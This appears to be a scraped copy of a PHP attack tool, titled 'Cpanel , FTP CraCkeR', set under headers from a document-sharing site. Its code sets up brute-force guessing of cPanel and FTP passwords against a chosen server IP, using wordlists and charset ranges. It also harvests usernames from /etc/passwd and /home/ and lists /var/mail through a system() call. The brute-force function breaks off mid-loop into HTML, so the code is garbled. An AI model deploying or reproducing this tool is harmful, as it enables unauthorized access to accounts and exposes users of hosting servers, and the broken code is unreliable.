Академический Документы
Профессиональный Документы
Культура Документы
php
$cpanel_port="2082";
$connect_timeout=5;
set_time_limit(0);
$submit=$_REQUEST['submit'];
$users=$_REQUEST['users'];
$pass=$_REQUEST['passwords'];
$target=$_REQUEST['target'];
$cracktype=$_REQUEST['cracktype'];
if($target == ""){
$target = "localhost";
}
$charset=$_REQUEST['charset'];
if($charset=="")
$charset="lowercase";
$max_length=$_REQUEST['max_length'];
if($max_length=="")
$max_length=10;
$min_length=$_REQUEST['min_length'];
if($min_length=="")
$min_length=1;
$charsetall = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l",
"m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B",
"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R",
"S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7",
"8", "9");
$charsetlower = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l",
"m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z");
$charsetupper = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L",
"M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z");
$charsetnumeric = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$charsetlowernumeric = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$charsetuppernumeric = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
"K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$charsetletters = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k",
"l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A",
"B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q",
"R", "S", "T", "U", "V", "W", "X", "Y", "Z" );
$charsetsymbols= array("!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
$charsetlowersymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z","!",
"@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
$charsetuppersymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
"K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!",
"@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
$charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P",
"Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!", "@", "#", "$", "%", "^", "&",
"*", "(", ")","_" );
$charsetnumericsymbols = array("0", "1", "2", "3", "4", "5", "6", "7", "8",
"9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
$charsetlowernumericsymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i",
"j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y",
"z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^",
"&", "*", "(", ")","_" );
$charsetuppernumericsymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y",
"Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^",
"&", "*", "(", ")","_" );
$charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P",
"Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%", "^",
"&", "*", "(", ")","_" );
$charsetlettersnumericsymbols=array("a", "b", "c", "d", "e", "f", "g", "h", "i",
"j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y",
"z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O",
"P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%",
"^", "&", "*", "(", ")","_","0", "1", "2", "3", "4", "5", "6", "7", "8", "9" );
if ($charset == "all")
$vals = $charsetall;
elseif ($charset == "lowercase")
$vals = $charsetlower;
elseif ($charset == "uppercase")
$vals = $charsetupper;
elseif ($charset == "numeric")
$vals = $charsetnumeric;
elseif ($charset == "lowernumeric")
$vals = $charsetlowernumeric;
elseif ($charset == "uppernumeric")
$vals = $charsetuppernumeric;
elseif ($charset == "letters")
$vals = $charsetletters;
elseif ($charset == "symbols")
$vals = $charsetsymbols;
elseif ($charset == "lowersymbols")
$vals = $charsetlowersymbols;
elseif ($charset == "uppersymbols")
$vals = $charsetuppersymbols;
elseif ($charset == "letterssymbols")
$vals = $charsetletterssymbols;
elseif ($charset == "numberssymbols")
$vals = $charsetnumericsymbols;
elseif ($charset == "lowernumericsymbols")
$vals = $charsetlowernumericsymbols;
elseif ($charset == "uppernumericsymbols")
$vals = $charsetuppernumericsymbols;
elseif ($charset == "lettersnumericsymbols")
$vals = $charsetlettersnumericsymbols;
else echo "INVALID CHARSET";
?>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
</head>
<title>Cpanel , FTP CraCkeR</title>
<body text="#00FF00" bgcolor="#000000" vlink="#008000" link="#008000"
alink="#008000">
<div align="center">
<form method="POST" style="border: 1px solid #000000">
<img border="0" src="http://www.alm3refh.com/upload/group/groupxp.gif"
width="426" height="169"><table border="1" width="67%" bordercolorlight="#008000"
bordercolordark="#003700">
<tr>
<td>
<p align="center"><b><font color="#008000" face="Tahoma" size="2">
<span lang="en-us">IP server</span> :</font><font face="Arial">
</font><font face="Arial" color="#CC0000">
<input type="text" name="target" size="16" value="<?php echo $target ?>"
style="border: 2px solid #1D1D1D; background-color: #000000; color:#008000; font-
family:Verdana; font-weight:bold; font-size:13px"></font></b></p>
<p align="center"><b><font color="#008000" face="Tahoma"
size="2"> &n
bsp;
</font></b></p>
<div align="center">
<table border="1" width="57%"
bordercolorlight="#008000" bordercolordark="#003700">
<tr>
<td align="center">
</select>
<br>
<font
style="font-weight:700" size="2" face="Tahoma" color="#008000"><span lang="ar-
sa">Min Bruteforce Length:</span></font>
<input
type="text" name="min_length" style="border: 2px solid #1D1D1D;background:
black;color:RED" size=48 value="<?php echo $min_length;?>"></input>
<br>
<font
style="font-weight:700" size="2" face="Tahoma" color="#008000"><span lang="ar-
sa">Max Bruteforce Length:</span></font>
<input
type="text" name="max_length" style="border: 2px solid #1D1D1D;background:
black;color:RED" size=48 value="<?php echo $max_length;?>"></input>
</p>
<p align="center">
<input type="submit" value="Go" name="submit" style="color: #008000; font-
weight: bold; border: 1px solid #333333; background-color: #000000"></p>
</td>
</tr>
</table>
<p align="center"></td>
</tr>
</form>
<?php
function brute()
{
global $vals,$min_length,$max_length;
global $target,$pureuser,$connect_timeout;
$min=$min_length;
$max=$max_length;
$A = array();
$numVals = count($vals);
$incDone = "";
$realMax = "";
$currentVal = "";
$firstVal = "";
for ($i = 0; $i < ($max + 1); $i++) {
$A[$i] = -1;
}
<p align="center"></td>
</tr><div align="center">
<tr>
</form>
<div align="center">
<table border="1" width="10%" bordercolorlight="#008000" bordercolordark="#006A00"
height="100" cellspacing="1">
<tr>
<td bordercolorlight="#008000" bordercolordark="#006A00">
<p align="left">
<textarea style="border: 2px solid #1D1D1D;background: #200000;color:#CCFFFF"
method='POST' rows="25" name="S1" cols="22">
<?php
if (isset($_GET['user']))
system('ls /var/mail');
if (isset($_POST['grab_users1'])) //grab users from /etc/passwd
{
$lines=file("/etc/passwd");
foreach($lines as $nr=>$val)
{
$str=explode(":",$val);
echo $str[0]."\n";
}
}
if (isset($_POST['grab_users2']))
{
$dir = "/home/";
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
echo $file. "\n";
}
closedir($dh);
}
}
?>
</textarea>
<table>
<tr>
<form action="" method="POST">
<input type="hidden" value="true" name="grab_users1"></input>
<input type=submit value="Grab Usernames from /etc/passwd"></input>
</form>
</tr>
<br>
<tr>
<form action="" method="POST">
<input type="hidden" value="true" name="grab_users2"></input>
<input type=submit value="Grab Usernames from /home/"></input>
</form>
</tr>
<br>
<tr>
<form action="" method="POST">
<input type="hidden" value="true" name="grab_users3"></input>
<input type=submit value="Grab Usernames from /home/ II"></input>
</form>
</tr>
</form>
</table>
<?php
if (isset($_POST['grab_users3']))
{
error_reporting(0);
$dir = "/home/";
if ($dh = opendir($dir))
{
$f = readdir($dh);$f = readdir($dh);
while (($f = readdir($dh)) !== false)
{
//echo $f. "\n";
$f.="/";
$dh2=opendir($dir.$f);
$f2 = readdir($dh2);$f2 = readdir($dh2);
while (($f2 = readdir($dh2)) !== false)
{
//echo $f2. "\n";
$f2.="/";
$dh3=opendir($dir.$f.$f2);
$f3 = readdir($dh3);$f3 = readdir($dh3);
while (($f3 = readdir($dh3)) !== false)
{
echo $f3. "<br>";
}
}
}
closedir($dh);
}
}
?>